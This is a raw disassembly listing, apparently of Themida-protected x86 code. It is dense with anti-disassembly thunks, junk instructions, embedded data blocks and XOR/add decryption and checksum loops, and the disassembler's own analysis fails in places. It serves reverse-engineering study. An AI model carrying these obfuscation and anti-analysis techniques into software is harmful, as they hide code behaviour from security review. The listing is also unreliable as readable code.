sub_5D06CB	proc near		; CODE XREF: Themida_:005D06C3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5D06CB	endp

; ---------------------------------------------------------------------------
		inc	ecx
		xchg	eax, esi
		jmp	loc_5D06EB
; ---------------------------------------------------------------------------
		dw 3026h
		dd 35119F5Ah
		db 0Dh,	6Ah, 0D4h
; ---------------------------------------------------------------------------


loc_5D06EB:				; CODE XREF: Themida_:005D06DDj
		mov	[ebp+614084Dh],	ebx
		mov	edx, [ebp+6142B69h]
		or	bh, 81h
		mov	ecx, [ebp+6141055h]
		push	0
		push	eax
		call	sub_5D070B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D070B	proc near		; CODE XREF: Themida_:005D0703p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5D070B	endp

; ---------------------------------------------------------------------------
		sbb	al, [edi+43h]
		jns	short loc_5D078A ; CODE	XREF: Themida_:005D079Cj
		sbb	[edi], dh
		pop	ss
		enter	50BEh, 8Bh
		retn	188Bh
; ---------------------------------------------------------------------------
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		push	0
		push	eax
		call	sub_5D0742
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0742	proc near		; CODE XREF: Themida_:005D073Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5D0742	endp

; ---------------------------------------------------------------------------
		dw 0D62Bh
		dd 874C36A1h, 81A01FFAh, 838152F7h, 9E942h, 0C0630000h
		dd 69986AF9h, 8051AE5Ah, 0BD8357D3h, 6140F4Dh, 59840F00h
		dd 8B000000h, 140A95BDh, 0B806h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D078A:				; CODE XREF: Themida_:005D071Ej
		call	sub_5D079F
		xor	eax, 0F698D1CFh
		push	ebx
		loopne	loc_5D07DC
		dec	esp
		jl	short near ptr sub_5D079F+1
		sub	al, 3
		ja	short near ptr loc_5D071E+1
		xchg	eax, ecx

; =============== S U B	R O U T	I N E =======================================



sub_5D079F	proc near		; CODE XREF: Themida_:loc_5D078Ap
					; Themida_:005D0798j
		mov	bl, 8Ah
		pop	ebx
		lea	ecx, [ebp+6144DFFh]
		push	0
		push	eax
		call	sub_5D07B3
		and	[eax-3Dh], bl
sub_5D079F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D07B3	proc near		; CODE XREF: sub_5D079F+Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5D07B3	endp

; ---------------------------------------------------------------------------
		scasb
		mov	dword ptr [ebp+59h], 896A1847h
		mov	ch, 99h
		and	[esi+eax], dl
		jmp	ecx
; ---------------------------------------------------------------------------
		dw 9D8Bh
		dd 614318Dh, 13DBD83h
; ---------------------------------------------------------------------------


loc_5D07DC:				; CODE XREF: Themida_:005D0795j
		adc	al, 6
		add	[edi], cl
		test	ch, bl


loc_5D07E2:				; CODE XREF: Themida_:005D085Fj
		add	al, 0
		add	[eax+0Fh], ah
		mov	[ebx], eax
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		sub	ah, 8Bh
		popa
		cmp	dword ptr [ebp+614013Dh], 1
		jz	loc_5D0CEB
		pusha
		and	ecx, 29B8BD8Ah
		mov	edi, [ebp+6141E61h]
		popa
		mov	ebx, [ebp+6140E9Dh]
		cmp	dword ptr [ebp+614013Dh], 3
		jbe	loc_5D0CB5
		sbb	ebx, 581EBB30h
		pusha
		mov	edi, [ebp+6142621h]
		mov	cx, ds
		mov	bl, 68h
		and	cl, 4
		mov	bx, cx
		mov	ebx, [ebp+6140639h]
		or	cl, cl
		jz	loc_5D09F4
		push	0
		push	edx
		call	sub_5D084F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D084F	proc near		; CODE XREF: Themida_:005D0847p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5D084F	endp

; ---------------------------------------------------------------------------
		jge	short loc_5D07E2
		retf
; ---------------------------------------------------------------------------
		dw 637Dh
		dd 11E83F26h, 0A6000000h, 42630E6Eh, 357FB21Ah,	0C154BD0Bh
		dd 383B2DF8h, 5BF98B66h, 0E35858Bh, 6A0614h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0CAE3C8C3h
		dd 0BD8BE835h, 61434B5h, 7E9h, 3FFF8500h, 3D80D803h, 6A98533h
		dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 917032C3h, 51609092h, 0F5AC68Bh, 48Fh, 70BB6600h
		dd 9050615Eh, 6ABDB3h, 34E1BD8Bh, 0C2680614h, 50E86D48h
		dd 9FBF6652h, 0F310FE3h, 0F8Bh,	9E800h,	6A880000h, 0AC73B6C1h
		dd 5F6763C9h, 481585Ah,	0B1BB3D24h, 51006A17h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0DCA7FA7Fh
		dd 0F30A0FCEh, 158589h,	95FF0614h, 614089Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E2C35646h, 0D1D2E04Ah
		dd 0E88E19A5h, 14h, 0F2A8D791h,	1EBCDC7Dh, 0FD023D8Bh
		dd 0B569BD7Eh, 89605027h, 9F895BBFh, 0FE8B5B39h, 0A7EA8589h
		dd 6A0617h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 3138EC3h,	14F8A24Ch, 270E9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 0A21FEC90h, 0DB95D0D9h, 6840Fh, 85010000h, 6142C1Dh
; ---------------------------------------------------------------------------


loc_5D09F4:				; CODE XREF: Themida_:005D083Ej
		mov	eax, [ebp+617A7E2h]
		push	0
		push	esi
		call	sub_5D0A05
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0A05	proc near		; CODE XREF: Themida_:005D09FDp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5D0A05	endp

; ---------------------------------------------------------------------------
		db 0B3h, 90h, 44h
		dd 8C6CA16Ch, 0C7DA8A9Ch, 1800h, 0E6B58B00h, 6A0617A7h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0C2EAC357h, 1E2E1EE9h, 18F0F45h, 0FC000000h
		dd 860FFA8Bh, 1, 81858BF5h, 6A061402h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 32E5C355h
		dd 840EEA2h, 51BD8B87h,	81061420h, 6FD3BF3h, 0B306894Ah
		dd 35858B5Bh, 6A06140Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0D32FC352h,	0E2BF66h
		dd 8B044689h, 0BB6650FBh, 3489D3A7h, 53006A24h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0DE8B552Ah
		dd 0A7E2B5FFh, 6A0617h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 7A041FC3h, 6E8D060Fh, 0F6087EBh
		dd 38Ah, 0CB8B6600h, 8B61A4B4h,	1410B5BDh, 4E806h, 3FF0000h
		dd 0AE9001Fh, 0C5000000h, 0A8DDE311h, 0E8A9AFD8h, 0D88B50DCh
		dd 424448Bh, 8BDF8B66h,	52505600h, 0FF88B66h, 0F88B6631h
		dd 895F585Ah, 50042444h, 11E852h, 85D20000h, 0ADE321CFh
		dd 0F5DD1EF6h, 9B9D971Bh, 60BD0C2Dh, 310F5B61h,	0DB0FCFBFh
		dd 58585A43h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	0ADC35747h, 0C317BF66h,	5DBD23h, 858D0614h, 617A7EAh
		dd 5B506090h, 0DA8B5061h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 9ACB3AFh, 89E86F39h
		dd 1409F595h, 0FE906h, 0F7710000h, 421A72FCh, 0EF3FBBEBh
		dd 27A8528Fh, 9D95FFEDh, 6A061408h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 3DC5C351h
		dd 4133086Ch, 12E9h, 0F1A3AC00h, 7E5B7F58h, 5D6F5473h
		dd 2AC9250Bh, 89C9C491h, 142DDDB5h, 12E96106h, 0DF000000h
		dd 79E85CB3h, 0BA9782D1h, 0F5BB4937h, 7DC7D6A9h, 3D85C71Fh
		dd 3061401h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 8964C357h, 83F8F2D3h
		dd 17A7EABDh, 840F0006h, 31h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0CAC35141h,	9E2703DCh, 27E9h
		dd 45858900h, 306140Eh,	14266DBDh
; ---------------------------------------------------------------------------
		push	es


loc_5D0CB5:				; CODE XREF: Themida_:005D0818j
					; Themida_:005D0CCCj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D0CB5
		jmp	short loc_5D0D06
; ---------------------------------------------------------------------------


loc_5D0CD0:				; CODE XREF: Themida_:005D0CE7j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D0CD0
		jmp	short loc_5D0D06
; ---------------------------------------------------------------------------


loc_5D0CEB:				; CODE XREF: Themida_:005D07F7j
					; Themida_:005D0D02j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5D0CEB
		jmp	short $+2


loc_5D0D06:				; CODE XREF: Themida_:005D0CCEj
					; Themida_:005D0CE9j
		mov	eax, eax
		push	0
		push	esi
		call	sub_5D0D13
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0D13	proc near		; CODE XREF: Themida_:005D0D0Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5D0D13	endp

; ---------------------------------------------------------------------------
		db 0F0h
		dd 8988D96Ah, 82CE791Fh, 0B3A9BFFEh, 6A7E5Eh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 840FEEC3h
		dd 5, 85CF8166h, 79BD2B38h, 8306140Fh, 14013DBDh, 850F0306h
		dd 457h, 68B0Fh, 8D890000h, 6141EF9h, 0A7EABD83h, 0F000617h
		dd 43E84h, 0D8B70F00h, 0A7EAB5FFh, 6A0617h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 7CAD41C3h
		dd 662F0691h, 1BD8D01h,	95FF0614h, 6140339h, 95895153h
		dd 6141119h, 840F5B5Bh,	17h, 12E9h, 2B530F00h, 0FFC145FFh
		dd 3879111Bh, 3F0E7268h, 8B808D58h, 17A7DEB5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 896E620Ah, 141DF9B5h, 106C706h, 50000100h, 484EB2BBh
		dd 2434897Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 14h,	0B8C35343h, 0A7EAB5FFh,	0B70F0617h, 8195FFFBh
		dd 6A061410h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 845C353h, 9F21B312h, 0E83D5A9Eh
		dd 10h,	6D4DA721h, 0E4EA94D7h, 0BFCFE7Ch, 3A4243BAh, 6870Fh
		dd 0BD8B0000h, 6140201h, 0DEB58B5Bh, 10617A7h, 1410A995h
		dd 0F9858B06h, 6A06140Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0DDF6C357h,	246D881Dh
		dd 893656A7h, 140C5985h, 0DEBF0F06h, 0C48689h, 82B30000h
		dd 2B69958Bh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0F43A08C3h, 89F1756Ah, 140B058Dh
		dd 4C28306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0EDC35747h, 0F98B29BBh,	6A205089h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 653DC357h
		dd 0FF110954h, 8D9D0B2Bh, 8B061400h, 142FA59Dh,	23858D06h
		dd 0B70617BCh, 0B8868956h, 6A000000h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 6546C351h
		dd 2D9D8BAFh, 6A06141Ch, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 99030E4Eh, 857C217Eh
		dd 85BD8B49h, 0FF06140Ah, 17A7EAB5h, 25853106h,	0FF061400h
		dd 1433AD95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 25F0048Dh, 53FF100h, 859D89B9h, 81061401h
		dd 0A31041C3h, 0BB665000h, 3489CE44h, 56006A24h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 79184C21h, 31006521h, 0EAB5FF65h, 0FF0617A7h, 14230995h
		dd 95853106h, 8306140Ch, 141189BDh, 840F0006h, 1Bh, 68C0Fh
		dd 85090000h, 6140085h,	89D98B50h, 0B70F2434h, 4D9D8BD8h
		dd 0FF06142Ah, 17A7EAB5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 1AB31D96h
		dd 0D595FFF9h, 6A061402h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 12ADC350h, 0F781A626h
		dd 3D3BCD75h, 12E9h, 3CB83B00h,	7DA6EDEBh, 0F99C8168h
		dd 263002CEh, 0FFD542D4h, 17A7EAB5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0D4CFF2D2h
		dd 31936EA5h, 0BB663796h, 95FF0A78h, 6140B75h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 4C35343h, 51836600h
		dd 2DBD835Bh, 2061411h,	62840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0B383B5C3h
		dd 55858B5Ch, 6A061400h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 1B1FC351h, 3A779671h
		dd 0EF2378D9h, 0F8B70FF8h, 0E90000C6h, 0Ch, 69634BBCh
		dd 0FE41F5E3h, 86D014EFh, 1E4985C7h, 614h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0F6B0D0C3h, 68EC6B3Bh, 945BD31h, 8F0F0614h, 3, 0E9FFB70Fh
		dd 0FFFFF290h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0ECC35747h, 9589B755h, 61401C1h, 72D8D89h, 0C18B0614h
		dd 791858Dh, 8B600614h,	14346585h, 0B7FC6006h, 50616133h
		dd 89F88B66h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 3EC9B1C3h, 6A5FDF79h, 15952900h
		dd 6A061419h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 9FFBB422h, 256E1F88h, 858DEBFEh
		dd 619382Fh, 0C083DA8Ah, 50006A05h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0A58D8980h, 90061425h
		dd 0B5ACC6BBh, 0B960501Bh, 180D5F5Ch, 10BA6652h, 90615E5Eh
		dd 12800Fh, 0DE90000h, 54000000h, 3BCAA122h, 2E8BB10Fh
		dd 4623C141h, 8589006Ah, 61409DDh, 9D01006Ah, 6141B79h
		dd 1B1995FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 254001C3h, 0EE9h, 0D2A96900h, 3034CAE0h
		dd 5B3A6938h, 8DE412EBh, 17A7788Dh, 0CB816606h,	8B66C8ACh
		dd 0BFD1FFDFh, 5E26E69Eh, 1CDBD83h, 0F010614h, 0AA85h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 97C62341h, 6695C29Eh, 0D425CB81h, 6A026Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0D50490C3h, 7EECC100h, 0F522D51Eh, 0DA8B6690h, 50606050h
		dd 5A310F52h, 52506158h, 9E8h, 0CBFA9B00h, 305E1AE6h, 0F5B2522h
		dd 5AD98A31h, 66906158h, 0FFCC20BFh, 1433AD95h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0E5B2985Dh, 1E4A8804h, 0CD8D89C9h, 0E9061407h, 0DAAh
		dd 0E8h, 0ED815D00h, 6193839h, 2C2D8589h, 6A0614h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0C0EAD8C3h, 8D9ADE86h, 178E4985h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0BB0B8B7Ch
		dd 820F489Fh, 6, 9B59D03h, 8A900614h, 0F89050D9h, 35FF64h
		dd 0F000000h, 1080h, 7E800h, 0FFAD0000h, 0D81B6857h, 0D88B66A8h
		dd 2589645Bh, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+6142691h]
		inc	dword ptr [ebp+6142DEDh]
		push	0
		push	edi
		call	sub_5D1477
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1477	proc near		; CODE XREF: Themida_:005D146Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5D1477	endp

; ---------------------------------------------------------------------------
		sar	dword ptr [esi+7A65A380h], 1
		movsx	edi, ax
		add	[ebp+61417E5h],	ecx
		mov	di, bx
		push	0FFFFFFFFh
		mov	ebx, [ebp+6143081h]
		push	dword ptr [ebp+6140E15h]
		call	dword ptr [ebp+6142A89h]
		jmp	loc_5D1601
; ---------------------------------------------------------------------------
		dw 11E8h
		dd 0D3000000h, 0D6AF5FA7h, 0E06071BDh, 0FC3F688h, 0E2A608A9h
		dd 9E8h, 61B76B00h, 8974E0DCh, 5B5F9B43h, 12E800B0h, 34000000h
		dd 278B586Dh, 0ED0B85D6h, 72A449C6h, 41AAE072h,	0F19D8925h
		dd 5B06140Ch, 0BF6670E6h, 9D897359h, 614085Dh, 895771E4h
		dd 1410B99Dh, 613C5F06h, 0EB830Fh, 0B5890000h, 614074Dh
		dd 66C8B60Fh, 0BA0357BFh, 6, 6810Fh, 8D890000h,	6140435h
		dd 0F60C18Bh, 0BB66F1BFh, 316139C5h, 1412ED95h,	4E8C106h
		dd 14E9h, 38872A00h, 0D5926D76h, 3825D80Eh, 0DFBAEF84h
		dd 0F222B716h, 0E2F766FFh, 0AE5BD8Bh, 0C82B0614h, 0FB93D381h
		dd 0D18B4DDBh, 86E9DE8Bh, 89000000h, 14166995h,	4C858B06h
		dd 0BF494755h, 4A56B63Ch, 6607C083h, 2BC9EB81h,	8900C083h
		dd 14027595h, 0FD03B06h, 1183h,	0FDB53100h, 0E9061406h
		dd 51h,	2405BD8Bh, 8D8B0614h, 0FFFFFFFFh, 2FDD9509h, 0B70F0614h
		dd 1E183F9h, 33840Fh, 83F90000h, 0FFFFFFA5h, 0BE8FEFFh
		dd 3E000000h, 0A8E82508h, 1C6C513Dh, 0F96050CBh, 2019589h
		dd 5B610614h, 554C9589h, 0BD8B4947h, 61433A9h, 0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D1601:				; CODE XREF: Themida_:005D14ADj
		lea	esi, [ebp+618AC0Bh]
		jmp	loc_5D1618
; ---------------------------------------------------------------------------
		dd 53D9F7C4h, 0ED90F2CDh, 319D0ADh
; ---------------------------------------------------------------------------


loc_5D1618:				; CODE XREF: Themida_:005D1607j
		push	0
		push	0
		push	esi
		call	sub_5D1625
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1625	proc near		; CODE XREF: Themida_:005D161Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5D1625	endp

; ---------------------------------------------------------------------------
		db 0E7h, 4Ah, 0Fh
; ---------------------------------------------------------------------------
		mov	bh, 0D9h
		call	dword ptr [ebp+6142971h]
		sbb	bl, 82h
		mov	ecx, 1037h
		push	0
		push	ebp
		call	sub_5D1653
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1653	proc near		; CODE XREF: Themida_:005D164Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5D1653	endp

; ---------------------------------------------------------------------------
		mov	ds:952957CAh, eax
		and	[edi], eax
		adc	al, 6
		pop	ebx
		mov	[ebp+61418DDh],	ecx
		and	ecx, 0FFFFFFFCh
		mov	ebx, [ebp+61412E1h]
		jmp	loc_5D1694
; ---------------------------------------------------------------------------
		db 0ADh, 0B3h, 0AAh
		dd 35682132h, 9A3E780Eh, 0E31BA175h, 274AA3EFh
; ---------------------------------------------------------------------------


loc_5D1694:				; CODE XREF: Themida_:005D167Cj
		cld
		sbb	bx, 5459h
		mov	eax, 0
		push	0
		push	eax
		call	sub_5D16AA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D16AA	proc near		; CODE XREF: Themida_:005D16A2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5D16AA	endp

; ---------------------------------------------------------------------------
		cmpsb
		or	al, 6Ch
		dec	ecx
		push	edx
		mov	edx, 0
		mov	ebx, [ebp+6140171h]


loc_5D16CA:				; CODE XREF: Themida_:005D16D4j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D16CA
		push	0
		push	eax
		call	sub_5D16E1
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D16E1	proc near		; CODE XREF: Themida_:005D16D9p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5D16E1	endp

; ---------------------------------------------------------------------------
		sar	dword ptr [edi], 1
		movsd
		db	67h
		test	eax, 7659D8Bh
		adc	al, 6
		mov	ebx, [ebp+6142615h]
		push	0
		push	ebp
		call	sub_5D170D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D170D	proc near		; CODE XREF: Themida_:005D1705p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5D170D	endp

; ---------------------------------------------------------------------------
		db 0C7h, 0FAh, 5Fh
; ---------------------------------------------------------------------------
		cwde
		mov	ebx, [ebp+61424A9h]
		mov	bl, 0BCh
		or	eax, 88h
		call	sub_5D173D
		clc
		sal	dword ptr [ecx+eax*4], 0B0h
		sar	ebx, 1
		fisub	dword ptr [edi]
		dec	edi

; =============== S U B	R O U T	I N E =======================================



sub_5D173D	proc near		; CODE XREF: Themida_:005D172Ep
		sub	[ebp+6140255h],	edx
		pop	edi
		sub	[ebp+6143075h],	esi
		mov	edx, [ebp+6142B69h]
		pusha
		jmp	loc_5D175D
; ---------------------------------------------------------------------------
		dw 6EC0h
		dd 0CA40A000h
; ---------------------------------------------------------------------------
		xchg	eax, esp


loc_5D175D:				; CODE XREF: sub_5D173D+14j
		mov	ecx, 76443FFCh
		popa
		push	ecx
		jg	loc_5D176D
		sub	bh, 83h


loc_5D176D:				; CODE XREF: sub_5D173D+27j
		pop	edi
		mov	ecx, [ebp+6141055h]
		push	0
		push	edi
		call	sub_5D177F
		and	[edi-3Dh], bl
sub_5D173D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D177F	proc near		; CODE XREF: sub_5D173D+3Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5D177F	endp

; ---------------------------------------------------------------------------
		db 0ABh
		dd 534AC79Dh, 0DFB70FF4h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 0DE85818h, 2D000000h, 5CDF407Bh, 0AB36A654h
		dd 6CECEFC6h, 5019D8Bh,	605B0614h, 1345B529h, 958B0614h
		dd 61415BDh, 4DBD8361h,	6140Fh,	72840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 81B758C3h, 0D1F70ADBh, 0B854h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 33F1ACC3h
		dd 118D0F78h, 0E8000000h, 5, 1FAEC082h,	0E59D2B34h, 5B061430h
		dd 4DFF8D8Dh, 0BD8B0614h, 61434A1h, 0BD89E1FFh,	6140D7Dh
		dd 13DBD83h, 0F000614h,	3F584h,	399D8B00h, 83061426h, 14013DBDh
		dd 840F0106h, 3FDh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 4C35242h, 3ADBCCE0h, 0B95100C5h, 3DBD8390h
		dd 3061401h, 395860Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 3B2DF8C3h, 0B2E4A38h
		dd 142085BDh, 0B9858906h, 60061420h, 12E8h, 0AC15BA00h
		dd 453A5B8Bh, 0E17DC95Eh, 12DCABF4h, 5FCE605Fh,	6AD98C66h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0E35AC351h, 1A962ADCh, 4E180AEh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 8AC35343h, 0A572C9DDh
		dd 4CCB8166h, 0FC90AEBh, 16C84h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 35BC0909h
		dd 299BB94Ah, 14099D95h, 35858B06h, 6A06140Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 4C4CC357h, 0BBB96660h, 61CA8BCEh, 6A98533h, 0DF800614h
		dd 8D0F9051h, 5, 0EA6389BBh, 4EBF5035h,	90418F96h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 16C35141h, 0F88B66DFh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 31B9E0C3h, 36410DCh, 1423BD9Dh, 4E806h, 3FF0000h
		dd 0D88B001Fh, 8BDF8B50h, 50042444h, 0E9008B5Fh, 0Ch, 8F98B052h
		dd 0C6EAAE65h, 0DCE0F448h, 4244489h, 0BE8h, 0B0702B00h
		dd 0B730F956h, 5E3DAF0Ch, 5BFA8B66h, 9DBD2B58h,	0FF06140Ah
		dd 14089D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0E5973316h, 6E96617h, 0A8000000h
		dd 53CBDD2Ch, 0FAB70FE7h, 0A7EA8589h, 6A0617h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8D8975C3h, 6140239h,	79DBD8Bh, 29E90614h, 8B000001h
		dd 14317D9Dh, 0E2858B06h, 6A0617A7h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 163C356h
		dd 141E8585h, 1800C706h, 0E9000000h, 10h, 0C1284E6Ch, 20B84F44h
		dd 0DD983E86h, 6261455Fh, 0A7E6B58Bh, 0EB800617h, 81858B62h
		dd 0F061402h, 28Eh, 89F98B00h, 798D8906h, 8B061425h, 140E3585h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
